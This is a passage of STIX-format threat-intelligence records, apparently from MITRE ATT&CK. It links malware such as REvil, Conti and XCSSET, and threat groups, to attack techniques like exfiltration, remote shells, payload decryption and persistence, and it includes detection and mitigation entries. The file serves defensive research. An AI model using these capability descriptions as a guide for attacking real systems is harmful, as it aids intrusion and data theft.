2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcda00f6-f5c1-412f-acb1-a431235fc6cc","type":"relationship","created":"2021-10-13T17:31:53.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). 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Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.103Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify payment systems, payment gateways, and ATM systems in compromised environments.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5197fd7a-766f-45da-87f5-c469377460d1","type":"relationship","created":"2020-06-08T17:22:35.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). 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Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.918Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index and compress files into a send queue for exfiltration.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b593a75c-245f-449c-861b-b283c47357f0","type":"relationship","created":"2020-12-28T19:08:56.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. 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Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.572Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has the ability to save and execute files as an alternate data stream (ADS).(Citation: Sentinel Labs WastedLocker July 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e2594cc-f6e0-4153-b878-930bc03fc0ad","type":"relationship","created":"2020-10-28T13:08:39.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-24T20:07:19.226Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain users, including identification of domain admin accounts.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdbd14e9-fffa-4120-a979-24eead47ffa4","type":"relationship","created":"2022-01-10T19:52:49.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion DarkWatchman 2021","url":"https://www.prevailion.com/darkwatchman-new-fileless-techniques/","description":"Smith, S., Stafford, M. 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Retrieved February 17, 2021."}],"modified":"2021-02-17T19:22:30.949Z","description":"[Conti](https://attack.mitre.org/software/S0575) has decrypted its payload using a hardcoded AES-256 key.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b641542-852b-47c0-a604-f13998adb892","type":"relationship","created":"2020-02-19T20:36:33.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. 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(2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:34:13.129Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) will create an ssh key if necessary with the <code>ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P</code> command. 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(2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."}],"modified":"2021-02-09T14:02:09.331Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1059/001)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a910e0f8-1548-4dd6-a0eb-19430a5f75b0","type":"relationship","created":"2020-08-04T19:50:07.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). 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Retrieved August 5, 2020."}],"modified":"2020-08-05T17:26:24.805Z","description":"[REvil](https://attack.mitre.org/software/S0496) can download a copy of itself from an attacker controlled IP address to the victim machine.(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0d8b438-c7be-43b3-ba3f-9dd61c0e54cb","type":"relationship","created":"2022-01-18T18:54:44.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. 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Retrieved January 18, 2022."}],"modified":"2022-01-18T18:54:44.260Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used WinRAR to compress memory dumps prior to exfiltration.(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b307e36-0d55-43af-864d-095fb78dd711","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes (such as <code>mstsc.exe</code>) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). 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Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.354Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8df1d2c-f014-4f51-a277-8050adafb865","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-16T23:55:30.097Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4efc1b5d-c1cb-4d94-a4b8-6b0b2b857788","type":"relationship","created":"2021-10-13T06:59:50.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). 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(2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","source_name":"Kroll RawPOS Jan 2017"},{"url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","source_name":"TrendMicro RawPOS April 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. 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It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","modified":"2022-04-19T14:09:23.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d72a376-5bfb-4e6b-a79f-2f75f97de99e","type":"relationship","created":"2021-01-14T20:08:49.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.533Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) can send commands to C2 in the body of HTTP POST requests.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f690a8fd-1a22-4f6d-bbd2-76cc344ecf5e","type":"relationship","created":"2022-02-02T15:13:33.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). 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Retrieved February 1, 2022."}],"modified":"2022-02-02T15:13:33.986Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can identify installed AV software.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b196fe7-93e1-4575-8818-578305fc1fae","type":"relationship","created":"2022-03-26T13:13:20.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). 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PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.466Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current user's name and SID.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). 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Retrieved November 5, 2018."}],"modified":"2019-07-26T23:38:33.633Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016) The group's JavaScript backdoor is also capable of downloading files.(Citation: Morphisec Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe6c997-0c72-49b2-9e43-6204e9cc3039","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9b4c254-8e05-4410-ae4d-a47f55e6bf51","type":"relationship","created":"2021-02-22T20:31:47.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. 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(2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T17:04:18.808Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has added a leading <code>.</code> to plist filenames, unlisting them from the Finder app and default Terminal directory listings.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87c7f912-4093-44f2-9f18-e97e649dd52e","type":"relationship","created":"2020-05-06T21:01:23.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.486Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence by registering a new service.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331528b5-fe7e-4ca4-ad3a-c18b20298f28","type":"relationship","created":"2019-04-23T14:59:04.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. 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From a classic Pass-The-Hash perspective, this technique uses a hash through the NTLMv1 / NTLMv2 protocol to authenticate against a compromised endpoint. This technique does not touch Kerberos. Therefore, NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. From an Over-Pass-The-Hash perspective, an adversary wants to exchange the hash for a Kerberos authentication ticket (TGT). One way to do this is by creating a sacrificial logon session with dummy credentials (LogonType 9) and then inject the hash into that session which triggers the Kerberos authentication process.","modified":"2022-04-14T16:09:40.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbc1faff-226a-4ea3-a08a-81b64066496d","type":"relationship","created":"2020-11-19T16:44:55.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. 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Retrieved November 18, 2020."}],"modified":"2020-11-25T15:36:18.416Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can implement DGA using the current date as a seed variable.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2c59195-f81a-4ed1-8d64-7137f961a835","type":"relationship","created":"2019-01-29T21:47:53.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Micropsia June 2017","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."},{"source_name":"Radware Micropsia July 2018","url":"https://blog.radware.com/security/2018/07/micropsia-malware/","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. 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URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. 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(2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.389Z","description":"[REvil](https://attack.mitre.org/software/S0496) can decode encrypted strings to enable execution of commands and payloads.(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8987cc5-08cb-484e-877f-438706f25915","type":"relationship","created":"2020-03-20T17:11:15.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-20T17:11:15.190Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim’s machine.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1c0c1e-91fb-4285-9656-8d452e630fb3","type":"relationship","created":"2020-03-02T19:28:55.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-18T01:55:03.240Z","description":"Anti-virus can also automatically quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--667c0879-3ea2-48f1-9a1b-ceefca33aa43","type":"relationship","created":"2020-06-22T20:34:05.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.062Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has deleted itself from the system after execution.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6988baa7-1b48-4203-8020-7bb3fb38098d","type":"relationship","created":"2021-03-12T18:46:47.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T22:28:08.343Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has used WMI to discover network connections and configurations. [Sibot](https://attack.mitre.org/software/S0589) has also used the Win32_Process class to execute a malicious DLL.(Citation: MSTIC 